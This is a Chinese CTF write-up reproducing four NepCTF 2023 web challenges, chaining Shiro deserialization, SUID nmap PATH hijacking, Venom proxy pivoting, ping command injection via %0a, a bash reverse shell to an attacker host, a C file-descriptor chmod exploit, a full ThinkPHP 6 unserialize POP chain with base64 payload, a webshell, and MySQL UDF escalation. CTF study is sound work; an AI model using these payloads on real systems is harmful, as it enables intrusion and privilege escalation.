nepctf2023 部分web复现

<1> EZJAVA_CHECKIN(shiro550)

<2> 独步天下-转生成为镜花水月中的王者(环境变量提权)

<3> 独步天下-破除虚妄_探见真实(Venom代理&ping%0a绕过rce&c文件描述符未关闭连接父进程修改文件权限)

<4> 独步天下-破除试炼_加冕成王(tp6rce+udf提权)

<1> EZJAVA_CHECKIN(shiro550)

shiro 打URLDNS 收到回显

shiro反序列化工具检测到

--w--w--w- 1 root root 22 Aug 12 08:49 /flag

cat /flag没反应，看一下 /flag信息发现没有权限

cat start.sh 得到flag

#/bin/bash
export GZCTF_FLAG=NepcTF{Ezjava_Chekin}
echo $GZCTF_FLAG > /flag
export GZCTF_FLAG="HAHA,NO FLAG but boom."
su ctf -c "bash -c 'java -jar /ShiroSpring-0.0.1-SNAPSHOT.jar'"

<2> 独步天下-转生成为镜花水月中的王者(环境变量提权)

nc ip port进去之后，得到了一个低权限的shell

根据提示：环境变量提权

查找具有suid权限的命令找到了nmap

执行一下发现nmap会调用 ports-alive

echo "/bin/sh" > /tmp/ports-alive
chmod +x /tmp/ports-alive
export PATH=/tmp:$PATH
/bin/nmap 1

提权成功

<3> 独步天下-破除虚妄_探见真实(Venom代理&ping%0a绕过rce&c文件描述符未关闭连接父进程修改文件权限)

获取root权限之后，计划怎么进入内网

ifconfig 发现靶机的ip为 192.168.200.2

同时测试发现存在wget 我们可以在vps部署上http服务

利用wget 下载vps上的文件，例如 fscan

wget http://vps:port/fscan_amd64 下载下来

fscan扫一下内网发现了192.168.200.1 机器

但是我们不能直接访问到这台机器因为这是docker容器中的内网环境，需要借助 192.168.200.2这台靶机挂上一个代理访问

这里用的是 venom

下载链接：https://github.com/Dliv3/Venom/releases/

利用wget 把agent_linux_64 下载到靶机上

wget http://ip:port/agent_linux_x64
chmod +x agent_linux_x64

令vps 作为服务端监听 1111端口

./admin_linux_x64 -lport 1111

令靶机作为客户端向服务端发起连接

./agent_linux_x64 -rhost vps -rport 1111

goto 1 进入到节点已连接的节点

然后挂一个socks5代理

socks 2222 在服务端即vps的 2222 端口做一个socks5代理

然后代理工具配置服务端ip:2222即可使用socks代理

然后利用 proxifier连接代理，将自己的访问由代理转发出去

设置 Proxy Server

然后配置 Proxification Rules 代理解析规则

Target Hosts 为 192.168.200.1

即可将自己访问 192.168.200.1的请求通过服务器socks5代理转发过去

访问 192.168.200.1

访问成功

访问 82端口进入摄像头控制台

其中存在一个 ping 的地方和一个文件上传点

ping这里应该可以利用进行rce，经测试 | &等管道符被禁用了但是可以 %0a绕过

直接 cat /flag_mini 不行没有权限

继续找找其他地方，还有一个文件上传点还没利用

ls 发现了 app.py

cat 得到了 ping和文件上传两个路由的具体代码实现

from flask import Flask, render_template, request, url_for, redirect
import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'

lib_name='./libping.so'
def load_ping_library():
    # 加载共享库
    mylib = ctypes.CDLL(lib_name)
    return mylib

mylib = load_ping_library()

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/ping', methods=['POST'])
def ping():
    global mylib
    ip_address = request.form['ip_address']
    result = ctypes.create_string_buffer(4096*2)
    mylib.ping(ip_address.encode('utf-8'), result)
    return result.value.decode('utf-8')

@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():
    if request.headers.get('X-Forwarded-For') != '127.0.0.1':
        return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if not allowed_file(file.filename):
        return 'Invalid file format. Only PNG files are allowed.'
    # 限制文件大小为 5KB
    MAX_FILE_SIZE = 5 * 1024
    if len(file.read()) > MAX_FILE_SIZE:
        return 'File too large. Maximum size is 5KB.'
    # 将文件保存到服务器
    file.seek(0)  # 重置文件读取指针
    file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))
    return redirect(url_for('index'))

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)

经过分析，文件上传处检测了XFF头，需要XFF为 127.0.0.1 才可以上传文件同时上传的文件后缀必须为.png ，上传后会保存为 avatar.png 但是对上传文件的内容并没有限制

因此我们可以写一个 python 反弹shell，上传搭配ping命令处的 rce 运行即可

import os
os.popen("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'").read()

得到 192.168.200.1:82 的shell

查找suid特权文件提权没有可利用点

ps -aux 看一下当前运行着的程序

发现可疑进程 indentity

该程序在 /app目录下，cat 一下 identity.c 分析一下

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {
    int fd=open("/home/ctf/sandbox/",O_RDONLY);
    if(fd<2) {
        exit(0);
    }
    MD5_CTX ctx;
    char md5_res[17]="";
    char key[100]="NEPCTF_6666";
    char sandbox_dir[100]="/home/ctf/sandbox/";
    char dir_name[100]="/home/ctf/sandbox/";
    FILE *new_pip;
    int i;
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    struct rlimit r;
    r.rlim_max = r.rlim_cur = 0;
    setrlimit(RLIMIT_CORE, &r);
    memset(key, 0, sizeof(key));
    MD5_Init(&ctx);
    MD5_Update(&ctx, key, strlen(key));
    MD5_Final(md5_res, &ctx);
    for (int i = 0; i < 16; i++) 
            sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);
    char cmd[100];
    
    mkdir(dir_name, 0755);
    if (chdir(dir_name)==-1) {
        puts("chdir err, exiting\n");
        exit(1);
    }
    sprintf(cmd,"%s%s","chmod 777 ",dir_name);
    system(cmd);
    mkdir("bin", 0777);
    mkdir("lib", 0777);
    mkdir("lib64", 0777);
    mkdir("lib/x86_64-linux-gnu", 0777);
    system("cp /bin/bash bin/sh");
    system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");
    system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");
    system("cp /lib64/ld-linux-x86-64.so.2 lib64/");
    if (chroot(".") == -1) {
        puts("chroot err, exiting\n");
        exit(1);
    }
}
void command(int server_socket,int client_socket) {
    char buf[0x666];
    memset(buf,0,0x666);
    write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));
    read(client_socket, buf, 0x10);
    setgid(1001);
    setuid(1001);
    popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {
    int sockfd;
    struct ifreq ifr;
    // Create a socket
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd < 0) {
        perror("Socket creation failed");
        return -1;
    }
    // Set the interface name in the ifreq structure
    strncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);
    ifr.ifr_name[IFNAMSIZ - 1] = '\0';
    // Get the IP address using the SIOCGIFADDR ioctl request
    if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {
        perror("ioctl failed");
        close(sockfd);
        return -1;
    }
    close(sockfd);
    // Convert the binary IP address to a human-readable string
    struct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;
    strcpy(ip_address, inet_ntoa(addr->sin_addr));
    return 0;
}
int main(int argc, char **argv) {
    init_dir();
    int flag=1;
    // Server setup
    int server_socket, client_socket;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_len = sizeof(client_addr);
    // Create socket
    server_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (server_socket < 0) {
        perror("Socket creation failed");
        exit(0);
    }
    // Set up server address
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(9999);
    // Bind socket to address and port
    if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("Bind failed");
        exit(0);
    }
    // Listen for incoming connections
    if (listen(server_socket, 1) < 0) {
        perror("Listen failed");
        exit(0);
    }
    printf("Server is listening on port 9999...\n");
    // Accept connection from client
    client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    if (client_socket < 0) {
        client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);
    }
    char client_ip[INET_ADDRSTRLEN];
    inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
    printf("Client connected from IP: %s\n", client_ip);
    char ip_address[INET_ADDRSTRLEN];
    const char *interface_name = "eth0";
    if (get_ip_address(interface_name, ip_address) == 0) {
        printf("IP address of eth0: %s\n", ip_address);
    } else {
        printf("Failed to get the IP address of eth0.\n");
    }
    while(flag) {
        if(strcmp(client_ip,ip_address)) {
            send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);
            exit(0);
        } else {
            flag=0;
        }
    }
    command(server_socket,client_socket);
    return 0;
}

根据 boogipop师傅所说，利用点在这个地方

这一部分的文件描述符 fd 并没有关闭，文件流也没关闭，因此是可以连接父进程的，openat和fschmod这两个内置函数

利用的话则是把下面的c文件编译一下，nc进identity 以ctf用户运行，然后就可以更改flag_mini的权限为777 不懂c，，，

#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>

int main() {
    const char* filename = "../../../../flag_mini";
    int fd = openat(3, filename, O_CREAT | O_WRONLY);
    if (fd == -1) {
        // 处理打开文件失败的情况
        printf("1");
    }

    // 更改文件权限为 777
    if (fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO) == -1) {
        // 处理更改文件权限失败的情况
        printf("2");
    }

    // 使用新文件进行操作...

    return 0;
}

利用命令写入文件文件的话可以通过base64

echo I2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxzeXMvc3RhdC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzdGRpby5oPgoKaW50IG1haW4oKSB7CiAgICBjb25zdCBjaGFyKiBmaWxlbmFtZSA9ICIuLi8uLi8uLi8uLi9mbGFnX21pbmkiOwogICAgaW50IGZkID0gb3BlbmF0KDMsIGZpbGVuYW1lLCBPX0NSRUFUIHwgT19XUk9OTFkpOwogICAgaWYgKGZkID09IC0xKSB7CiAgICAgICAgLy8g5aSE55CG5omT5byA5paH5Lu25aSx6LSl55qE5oOF5Ya1CiAgICAgICAgcHJpbnRmKCIxIik7CiAgICB9CgogICAgLy8g5pu05pS55paH5Lu25p2D6ZmQ5Li6IDc3NwogICAgaWYgKGZjaG1vZChmZCwgU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSA9PSAtMSkgewogICAgICAgIC8vIOWkhOeQhuabtOaUueaWh+S7tuadg+mZkOWksei0peeahOaDheWGtQogICAgICAgIHByaW50ZigiMiIpOwogICAgfQoKICAgIC8vIOS9v+eUqOaWsOaWh+S7tui/m+ihjOaTjeS9nC4uLgoKICAgIHJldHVybiAwOwp9 | base64 -d > poc.c

gcc编译一下

gcc poc.c -o poc

identity.c 源码中提到了：

printf("Server is listening on port 9999...\n");
printf("IP address of eth0: %s\n", ip_address);

nc进 identity文件

因此 nc etho的ip 9999

运行 ./poc 成功将 /flag_mini文件的权限改为777

再次 cat /flag_mini 即可得到flag

<4> 独步天下-破除试炼_加冕成王(tp6rce+udf提权)

扫端口扫出来 192.168.200.1 的80端口有一个web服务

是一个CMS ZengCMS v1.0.0

搜索该版本有没有在野CVE，没发现。但是在项目介绍中提到：

ZengCMS是基于最新TP6.0.x框架和Layui2.5.x的后台管理系统

TP6.0.x 有很多条rce链子我们把ZengCMS 源码下载下来找一找可利用点

后台有个弱口令 admin:123456 访问报错时露出来了用到了 tp6.0.5的框架前段时间刚好审了一个tp6 unserialize rce漏洞

因此我们找一下可以利用的反序列化函数

在 /app/common.php 处 $admin_auth_cookie = think_decrypt(cookie('admin_auth_cookie'));

会对cookie里的 admin_auth_cookie字段进行反序列化，因此构造一条 tp6的反序列化漏洞即可

但是我们发现在unserialize()之前，会调用 think_decrypt()进行解密

因此我们构造好的序列化格式数据要通过 think_encrypt() 加密一下 CMS里自带了

这里就不分析函数具体逻辑了，直接在本地搭一个生成一下对应的payload

本地搭好之后，找一条tp反序列化链生成base64编码后的序列化数据

<?php

namespace League\Flysystem\Cached\Storage{

    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp)
        {
            $this->pool = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp)
        {
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct()
        {
            $this->url = '<?php phpinfo(); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct()
        {
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{

    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];

        public function __construct()
        {

            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => [],
                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
            ];
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo base64_encode(serialize($a));
}

然后在app/admin/controller 添加一个poc.php 里面写入

<?php
$a = think_encrypt(base64_decode("Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjI6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjE3OiJ0aGlua1xsb2dcQ2hhbm5lbCI6Mjp7czo5OiIAKgBsb2dnZXIiO086MjM6InRoaW5rXGxvZ1xkcml2ZXJcU29ja2V0IjozOntzOjk6IgAqAGNvbmZpZyI7YTo0OntzOjU6ImRlYnVnIjtiOjE7czoxNjoiZm9yY2VfY2xpZW50X2lkcyI7aToxO3M6MTY6ImFsbG93X2NsaWVudF9pZHMiO2E6MDp7fXM6MTE6ImZvcm1hdF9oZWFkIjthOjI6e2k6MDtPOjIxOiJ0aGlua1x2aWV3XGRyaXZlclxQaHAiOjA6e31pOjE7czo3OiJkaXNwbGF5Ijt9fXM6NjoiACoAYXBwIjtPOjk6InRoaW5rXEFwcCI6MTp7czoxMjoiACoAaW5zdGFuY2VzIjthOjE6e3M6MTM6InRoaW5rXFJlcXVlc3QiO086MTM6InRoaW5rXFJlcXVlc3QiOjE6e3M6NjoiACoAdXJsIjtzOjI3OiI8P3BocCBwaHBpbmZvKCk7IGV4aXQoKTsgPz4iO319fXM6MTI6IgAqAGNsaWVudEFyZyI7YToxOntzOjU6InRhYmlkIjtzOjE6IjEiO319czo3OiIAKgBsYXp5IjtiOjA7fXM6MTE6IgAqAGF1dG9zYXZlIjtiOjA7fQ=="));
var_dump($a);

把生成的payload 放到cookie里的 admin_auth_cookie字段里访问

写入一个 phpinfo() 发现可以

写入一句话木马蚁剑连接

由于第二个flag是 mysql 用户的，我们去找一下mysql的配置文件

在 /var/www/html/config/database.php 得到mysql账号密码 root:456456zxc+123666

<?php
use think\facade\Env;

return [
    // 默认使用的数据库连接配置
    'default'         => Env::get('database.driver', 'mysql'),

    // 自定义时间查询规则
    'time_query_rule' => [],

    // 自动写入时间戳字段
    // true为自动识别类型 false关闭
    // 字符串则明确指定时间字段类型 支持 int timestamp datetime date
    'auto_timestamp'  => true,

    // 时间字段取出后的默认时间格式
    'datetime_format' => 'Y-m-d H:i:s',

    // 数据库连接配置信息
    'connections'     => [
        'mysql' => [
            // 数据库类型
            'type'              => Env::get('database.type', 'mysql'),
            // 服务器地址
            'hostname'          => Env::get('database.hostname', '127.0.0.1'),
            // 数据库名
            'database'          => Env::get('database.database', 'zengcms'),
            // 用户名
            'username'          => Env::get('database.username', 'root'),
            // 密码
            'password'          => Env::get('database.password', '456456zxc+123666'),
            // 端口
            'hostport'          => Env::get('database.hostport', '3306'),
            // 数据库连接参数
            'params'            => [],
            // 数据库编码默认采用utf8
            'charset'           => Env::get('database.charset', 'utf8'),
            // 数据库表前缀
            'prefix'            => Env::get('database.prefix', 'hh_'),

            // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
            'deploy'            => 0,
            // 数据库读写是否分离 主从式有效
            'rw_separate'       => false,
            // 读写分离后 主服务器数量
            'master_num'        => 1,
            // 指定从服务器序号
            'slave_no'          => '',
            // 是否严格检查字段是否存在
            'fields_strict'     => true,
            // 是否需要断线重连
            'break_reconnect'   => false,
            // 监听SQL
            'trigger_sql'       => true,
            // 开启字段缓存
            'fields_cache'      => false,
            // 字段缓存路径
            'schema_cache_path' => app()->getRuntimePath() . 'schema' . DIRECTORY_SEPARATOR,
        ],

        // 更多的数据库配置信息
    ],
];

这里需要利用 mysql udf提权

mysql UDF提权介绍：

UDF（User-Defined Function）提权指的是通过在MySQL数据库中编写自定义函数（UDF）的方式，实现在MySQL数据库中提升权限的方法

我们需要写一个plugin进去，但是不能直接写进去，因为plugin目录没权限写

但是由于当前我们有root权限的数据库用户，我们可以使用select into dumpfile的形式写入：

当以 root 用户身份执行 SELECT INTO DUMPFILE 查询时，它将绕过文件权限检查，并允许将查询结果写入任何有效的文件路径中，即使该路径对 mysql 用户是无法写入的。

请注意，使用 root 用户执行此操作需要格外小心，因为它会绕过一些安全限制。确保仅允许可信任的用户以 root 权限执行此操作，并且仅指定安全的文件路径

mysql -uroot -p456456zxc+123666 -e "SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"

在/tmp目录创建一个poc.sh，然后修改权限执行它，这时就会将udf.so文件写入/usr/lib/mysql/plugin/目录

成功写入

mysql -uroot -p456456zxc+123666 -e 'create function sys_eval returns string soname "udf.so";'
mysql -uroot -p456456zxc+123666 -e 'select sys_eval("chmod 777 /flag");'